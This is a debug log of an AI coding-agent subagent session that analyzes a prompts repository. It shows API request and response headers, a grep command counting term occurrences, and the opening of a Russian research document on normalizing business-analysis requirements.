...],\n[2026-09-29T07:45:52.131Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:52.133Z] [STDOUT]     },\n[2026-09-29T07:45:52.140Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:52.145Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:52.148Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:52.158Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:52.165Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:52.179Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:52.184Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:52.204Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:52.217Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:52.241Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:52.244Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:52.247Z] [STDOUT]     },\n[2026-09-29T07:45:52.249Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:52.251Z] [STDOUT]   },\n[2026-09-29T07:45:52.254Z] [STDOUT]   headers: {\n[2026-09-29T07:45:52.264Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:52.268Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:52.275Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:52.278Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:52.283Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:52.288Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:52.298Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:52.302Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:52.305Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:52.308Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:52.326Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:52.337Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1171\",\n[2026-09-29T07:45:52.342Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:52.347Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:52.352Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:52.355Z] [STDOUT]     \"x-client-request-id\": \"238b0771-4b7b-4e64-982f-566cf879f298\",\n[2026-09-29T07:45:52.361Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:52.365Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:52.369Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:52.373Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:52.377Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:52.380Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:52.384Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:52.386Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:52.390Z] [STDOUT]   },\n[2026-09-29T07:45:52.395Z] [STDOUT] }\n[2026-09-29T07:45:52.837Z] [STDOUT] [log_debf8c, request-id: \"req_011CfXMnmHb4ULj5gGvBR3ns\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 831ms\n[2026-09-29T07:45:52.841Z] [STDOUT] [log_debf8c] response start {\n[2026-09-29T07:45:52.852Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:52.866Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:52.871Z] [STDOUT]   headers: {\n[2026-09-29T07:45:52.874Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:52.878Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:52.881Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:52.884Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:52.891Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:52.901Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:52.907Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:52.911Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:52.916Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:52.921Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:52.926Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:52.929Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:52.933Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:52.940Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:52.943Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:52.948Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:52.953Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:52.957Z] [STDOUT]     \"cf-ray\": \"a4295eec1fc029ad-FRA\",\n[2026-09-29T07:45:52.961Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:52.964Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:52.970Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:52.973Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:52.979Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:52 GMT\",\n[2026-09-29T07:45:52.982Z] [STDOUT]     \"request-id\": \"req_011CfXMnmHb4ULj5gGvBR3ns\",\n[2026-09-29T07:45:52.984Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:52.986Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:52.990Z] [STDOUT]     traceresponse: \"00-4b4354ccc67f827d0049dafa3df3fc99-6663a1aad88bad38-01\",\n[2026-09-29T07:45:52.995Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:52.999Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:53.003Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:53.010Z] [STDOUT]   },\n[2026-09-29T07:45:53.016Z] [STDOUT]   durationMs: 831,\n[2026-09-29T07:45:53.023Z] [STDOUT] }\n[2026-09-29T07:45:53.033Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:53.036Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:52 GMT\",\n[2026-09-29T07:45:53.039Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:53.048Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:53.052Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:53.055Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:53.059Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:53.062Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:53.065Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:53.068Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:53.079Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:53.084Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:53.090Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:53.093Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:53.098Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:53.103Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:53.106Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:53.113Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:53.117Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:53.130Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:53.135Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:53.139Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:53.145Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:53.151Z] [STDOUT]   \"request-id\": \"req_011CfXMnmHb4ULj5gGvBR3ns\",\n[2026-09-29T07:45:53.159Z] [STDOUT]   \"traceresponse\": \"00-4b4354ccc67f827d0049dafa3df3fc99-6663a1aad88bad38-01\",\n[2026-09-29T07:45:53.163Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:53.169Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:53.177Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:53.187Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:53.197Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:53.201Z] [STDOUT]   \"cf-ray\": \"a4295eec1fc029ad-FRA\",\n[2026-09-29T07:45:53.206Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:53.215Z] [STDOUT] [log_debf8c] response parsed {\n[2026-09-29T07:45:53.221Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:53.227Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:53.232Z] [STDOUT]   body: X {\n[2026-09-29T07:45:53.236Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:53.241Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:53.246Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:53.252Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:53.263Z] [STDOUT]     },\n[2026-09-29T07:45:53.267Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:53.273Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:53.277Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:53.282Z] [STDOUT]   },\n[2026-09-29T07:45:53.286Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:45:53.293Z] [STDOUT] }\n[2026-09-29T07:45:53.308Z] [INFO] {\n[2026-09-29T07:45:53.308Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"message\": {\n[2026-09-29T07:45:53.308Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"id\": \"msg_011CfXMnRbAtdXK3ruYuoxrs\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:53.308Z] [INFO]     \"content\": [\n[2026-09-29T07:45:53.308Z] [INFO]       {\n[2026-09-29T07:45:53.308Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:53.308Z] [INFO]         \"id\": \"toolu_012v9Ec9K2cCgKGrGG32u9MJ\",\n[2026-09-29T07:45:53.308Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:53.308Z] [INFO]         \"input\": {\n[2026-09-29T07:45:53.308Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && for t in GigaCode Gigacode gigacode Cline cline \\\"Claude Code\\\" Codex \\\"Qwen\\\" \\\"qwen chat\\\" \\\"chat.qwen\\\" \\\"OpenAI Codex\\\" \\\"Cursor\\\" \\\"konard\\\" \\\"hive-mind\\\" \\\"AI issue solver\\\" \\\"golden\\\" \\\"\u044d\u0442\u0430\u043b\u043e\u043d\\\" \\\"fail-closed\\\" \\\"human gate\\\" \\\"human-gate\\\" \\\"skill\\\" \\\"SKILL.md\\\" \\\"\u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\\\" \\\"\u0441\u0432\u0435\u0440\u043a\\\" \\\"twin\\\" \\\"Jira\\\" \\\"Confluence\\\"; do printf \\\"%-18s %s files\\\\n\\\" \\\"$t\\\" \\\"$(grep -rIl --exclude-dir=.git -- \\\"$t\\\" . | wc -l)\\\"; done\",\n[2026-09-29T07:45:53.308Z] [INFO]           \"description\": \"Search key terms counts\"\n[2026-09-29T07:45:53.308Z] [INFO]         },\n[2026-09-29T07:45:53.308Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:53.308Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:53.308Z] [INFO]         }\n[2026-09-29T07:45:53.308Z] [INFO]       }\n[2026-09-29T07:45:53.308Z] [INFO]     ],\n[2026-09-29T07:45:53.308Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:53.308Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:53.308Z] [INFO]       \"cache_creation_input_tokens\": 10610,\n[2026-09-29T07:45:53.308Z] [INFO]       \"cache_read_input_tokens\": 67044,\n[2026-09-29T07:45:53.308Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:53.308Z] [INFO]         \"ephemeral_5m_input_tokens\": 10610,\n[2026-09-29T07:45:53.308Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:53.308Z] [INFO]       },\n[2026-09-29T07:45:53.308Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:53.308Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:53.308Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:53.308Z] [INFO]     },\n[2026-09-29T07:45:53.308Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:53.308Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:53.308Z] [INFO]   },\n[2026-09-29T07:45:53.308Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"uuid\": \"568c9e39-1397-46b5-9f12-2a6b33d1353d\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:53.258Z\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"request_id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:53.308Z] [INFO] }\n[2026-09-29T07:45:53.314Z] [INFO] {\n[2026-09-29T07:45:53.314Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"description\": \"Running Search key terms counts\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:53.314Z] [INFO]     \"total_tokens\": 78435,\n[2026-09-29T07:45:53.314Z] [INFO]     \"tool_uses\": 19,\n[2026-09-29T07:45:53.314Z] [INFO]     \"duration_ms\": 90964\n[2026-09-29T07:45:53.314Z] [INFO]   },\n[2026-09-29T07:45:53.314Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"uuid\": \"a56c9cfa-9322-47c9-9afe-b45747543f6c\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:53.314Z] [INFO] }\n[2026-09-29T07:45:55.076Z] [INFO] {\n[2026-09-29T07:45:55.076Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:55.076Z] [INFO]   \"message\": {\n[2026-09-29T07:45:55.076Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"id\": \"msg_011CfXMnmjtJ5qUhgjcZ4fZz\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"content\": [\n[2026-09-29T07:45:55.076Z] [INFO]       {\n[2026-09-29T07:45:55.076Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:55.076Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:55.076Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:55.076Z] [INFO]     ],\n[2026-09-29T07:45:55.076Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:55.076Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:55.076Z] [INFO]       \"cache_creation_input_tokens\": 1841,\n[2026-09-29T07:45:55.076Z] [INFO]       \"cache_read_input_tokens\": 71767,\n[2026-09-29T07:45:55.076Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:55.076Z] [INFO]         \"ephemeral_5m_input_tokens\": 1841,\n[2026-09-29T07:45:55.076Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:55.076Z] [INFO]       },\n[2026-09-29T07:45:55.076Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:55.076Z] [INFO]       \"service_tier\": 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[\n[2026-09-29T07:45:57.223Z] [INFO]       {\n[2026-09-29T07:45:57.223Z] [INFO]         \"tool_use_id\": \"toolu_01MCuFwb6iF5LY4RkMqwjq4U\",\n[2026-09-29T07:45:57.223Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:57.223Z] [INFO]         \"content\": \"  - \\\"research/ba-requirements/normalization/10-theory.md\\\"\\n  - \\\"research/ba-requirements/normalization/20-taxonomy.md\\\"\\n  - \\\"research/ba-requirements/normalization/30-decision-framework.md\\\"\\n  - \\\"research/ba-requirements/normalization/40-practice-and-cases.md\\\"\\n  - \\\"research/ba-requirements/normalization/50-open-research.md\\\"\\n  - \\\"docs/rfc/2026-07-17-rfc-reference-research-pattern.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539\\\"\\n---\\n\\n# \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438 \u043a\u0430\u0440\u0442\u0430 \u0447\u0442\u0435\u043d\u0438\u044f\\n\\n> **\u041c\u043e\u0434\u0443\u043b\u044c.** \u042d\u0442\u043e \u0444\u0430\u0439\u043b `00-introduction.md` \u043c\u043e\u0434\u0443\u043b\u044f\\n> [`research/ba-requirements/normalization/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/normalization),\\n> \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e **Reference Research Pattern** (\u0441\u0442\u0430\u0442\u0443\u0441 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430: Experimental,\\n> \u0441\u043c. [RFC: Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md)\\n> \u0438 [`standards/research-standard.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/research-standard.md)).\\n>\\n> **\u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a.** \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u044f \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue\\n> [#539](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539)).\\n> \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432\\n> [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/40-practice-and-cases.md):\\n> \u0442\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435\\n> \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2.\\n>\\n> **\u0421\u0442\u0430\u0442\u0443\u0441.** `draft`. \u041c\u043e\u0434\u0443\u043b\u044c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0432\u0445\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f\\n> BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432; \u0441\u0430\u043c \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0438 \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e\\n> \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430.\\n\\n## BLUF\\n\\n1. **\u0422\u0435\u0440\u043c\u0438\u043d.** \u0420\u043e\u0434\u043e\u0432\u044b\u043c \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043c \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f\\n   **\u00ab\u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb (Initiating Artifact)** \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n   \u0442\u0438\u043f\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0430 \u0441\u0435\u043c\u044c \u043a\u043b\u0430\u0441\u0441\u043e\u0432 IA-1\u2026IA-7. \u00ab\u0417\u0430\u043f\u0440\u043e\u0441\u00bb \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u043c\u043e\u043d\u0438\u043c,\\n   `Change Request` \u2014 \u043a\u0430\u043a \u0442\u0435\u0440\u043c\u0438\u043d, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0449\u0438\u0439 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 baseline,\\n   `Demand` \u2014 \u043a\u0430\u043a \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\u043d\u0430\u044f, \u0430 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u0420\u0430\u0437\u0431\u043e\u0440 \u2014\\n   [\u00a74 \u0444\u0430\u0439\u043b\u0430 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/10-theory.md#4-\u0440\u0435\u0448\u0435\u043d\u0438\u0435-t1--\u0442\u0435\u0440\u043c\u0438\u043d-\u0434\u043b\u044f-\u0432\u0445\u043e\u0434\u0430-ba-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432).\\n2. **\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043f\u043e\u0442\u0435\u0440\u044f \u2014 \u043d\u0435 \u0432 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u0432 \u043e\u0446\u0435\u043d\u043a\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f.**\\n   \u0421\u043b\u043e\u0432\u0430 \u00ab\u043f\u043e\u043a\u0440\u044b\u0442*\u00bb \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 41 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 Mango, \u0430 `discoverab*` \u2014 \u0432\\n   \u043d\u0443\u043b\u0435: \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0440\u0435\u0448\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 